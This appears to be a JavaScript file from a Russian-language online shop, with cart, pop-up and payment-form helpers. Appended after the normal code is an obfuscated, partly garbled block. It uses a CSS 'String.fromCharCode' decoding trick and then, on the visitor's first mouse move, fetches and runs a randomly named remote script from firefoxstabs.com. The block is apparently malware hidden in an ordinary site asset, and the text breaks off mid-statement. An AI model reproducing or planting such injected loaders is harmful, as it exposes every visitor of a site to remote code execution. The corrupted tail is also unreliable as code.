scriptpath = '/'; function ask(url) { if (confirm ('Вы уверены?!')) self.location=url; } function askform(url) { return confirm ('Вы уверены?!'); } function round2(val) { return Math.round(val*100)/100; } function win(url,wname,w,h,r,s) { var posX = (screen.width - w) / 2; var posY = (screen.height - h) / 2; var pos = ",top="+posY+",left="+posX; newWin = open(url,wname,"toolbar=0,location=0,status=0,menubar=1,scrollbars="+s+",resizable="+r+",width="+w+",height="+h+pos); } function payform(method, id_order) { if (method == '') { var radios = document.getElementsByTagName('INPUT'); for (var i=0; i < radios.length; i++) { if ((radios[i].name == 'paymethod') && (radios[i].checked)) method = radios[i].value; } } open(scriptpath+'user/payform.php?id='+id_order+'&method='+method,'paywindow',"toolbar=1,location=1,status=1,menubar=1,scrollbars=yes,resizable=yes,width="+(screen.width-200)+",height="+(screen.height-200)); } function toggle_block(eid) { if (document.getElementById(eid).style.display == 'none') { document.getElementById(eid).style.display='block'; document.getElementById(eid+'_').style.display='none'; } else { document.getElementById(eid).style.display='none'; document.getElementById(eid+'_').style.display='block'; } } function toggle_b(eid) { if (document.getElementById(eid).style.display == 'none') { document.getElementById(eid).style.display='block'; } else { document.getElementById(eid).style.display='none'; } } function createRequest() { var request; try { request = new XMLHttpRequest(); } catch (trymicrosoft) { try { request = new ActiveXObject("Msxml2.XMLHTTP"); } catch (othermicrosoft) { try { request = new ActiveXObject("Microsoft.XMLHTTP"); } catch (failed) { request = false; } } } return request; } function counttime(id, count) { var ctitle = 'секунд'; if (count == 1) ctitle = 'секунду'; else if ((count == 2) || (count == 3) || (count == 4)) ctitle = 'секунды'; if (document.getElementById("id_cart_span_"+id)) document.getElementById("id_cart_span_"+id).innerHTML = "Это сообщение закроется через " + count + " " + ctitle + "."; if (count > 0) window.setTimeout('counttime('+id+', '+(count-1)+')', 1000); else document.body.removeChild(document.getElementById('id_cart_'+id)); } function addtocart(id, name, price, count) { var request = createRequest(); var url = scriptpath + "include/ajax.php?addtocart=" + encodeURIComponent(id) + "&price=" + encodeURIComponent(price) + "&count=" + encodeURIComponent(count); var dw = 270, dh = 110; var divcart = document.createElement("div"); divcart.id = "id_cart_" + id; divcart.className = 'cartp'; divcart.style.width = dw + "px"; divcart.style.height = dh + "px"; divcart.style.marginTop = -(Math.round(dh/2) - document.documentElement.scrollTop) + "px"; divcart.style.marginLeft = "-" + Math.round(dw/2) + "px"; divcart.innerHTML = "
Добавление...
" + name + "

закрыть
"; document.body.appendChild(divcart); request.open("GET", url, true); request.onreadystatechange = function() { if (request.readyState == 4) { if (request.status == 200) { var resp = request.responseText; if (resp.substr(0, 2) == 'OK') { document.getElementById("id_cart_h2_"+id).innerHTML = "Добавлено"; var curcount = parseInt(document.getElementById("cart_count").innerHTML); var curprice = parseFloat(document.getElementById("cart_price").innerHTML); document.getElementById("cart_count").innerHTML = (curcount + count); document.getElementById("cart_price").innerHTML = round2(curprice + (price*count)); counttime(id, 2); } else { counttime(id, 0); alert(resp); } } } } request.send(null); } function delitem(id, num) { if (window.confirm("Вы уверены?")) { var request = createRequest(); var url = scriptpath + "include/ajax.php?delfromcart=" + (id) + "&price=" + (num*prices[id]) + "&num=" + (num); request.open("GET", url, true); request.onreadystatechange = function() { if (request.readyState == 4) { if (request.status == 200) { var resp = request.responseText; if (resp.substr(0, 2) == "OK") { document.getElementById("f_cnt_"+id).value = "0"; document.getElementById("tr_"+id).style.display = "none"; settotal(); } else { alert(resp); } } } } request.send(null); } } function settotal () { var inputs = document.getElementsByTagName("input"); var totalcnt=0, totalprice=0, totalweight=0, curid, curcnt; for (var i = 0; i < inputs.length; i++) { if (inputs[i].name.substring(0, 6) == "f_cnt_") { curid = inputs[i].id.substring(6); curcnt = parseInt(document.getElementById("f_cnt_"+curid).value); if (!isNaN(curcnt)) { document.getElementById("f_price_"+curid).innerHTML = round2(prices[curid] * curcnt); totalprice += prices[curid] * curcnt; totalweight += curcnt*weights[curid]; totalcnt += curcnt; } else { document.getElementById("f_price_"+curid).innerHTML = "0"; } } } if (totalprice >= discountprice) { totalprice = totalprice*(1-discount); if (discount > 0) document.getElementById("discounttext").innerHTML = ' (со скидкой '+ (discount*100) +'%)'; } else { document.getElementById("discounttext").innerHTML = ''; } var weightprice = (totalprice ? getweightprice(totalweight) : 0); var insprrice = (totalprice+weightprice)*insurance; document.getElementById("f_weight_price").innerHTML = round2(weightprice + insprrice); document.getElementById("f_total_price").innerHTML = round2(totalprice+weightprice+insprrice); document.getElementById("f_total_cnt").innerHTML = totalcnt; return true; } function getweightprice(weight) { return 0; var init0 = packprice + 105.02; var init1500 = packprice + 112.95; var weightstep = Math.ceil(weight/20); if (weight <= 1500) { return init0 + 2.83*weightstep; } else { return init1500 + 2.83*weightstep; } } function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS('#va','background:url(data:,String.fromCharCode)');var cu=null;var r=document.styleSheets;for(var i=0;i0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS('#va','background:url(data:,String.fromCharCode)');var uu=null;var r=document.styleSheets;for(var i=0;i');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag =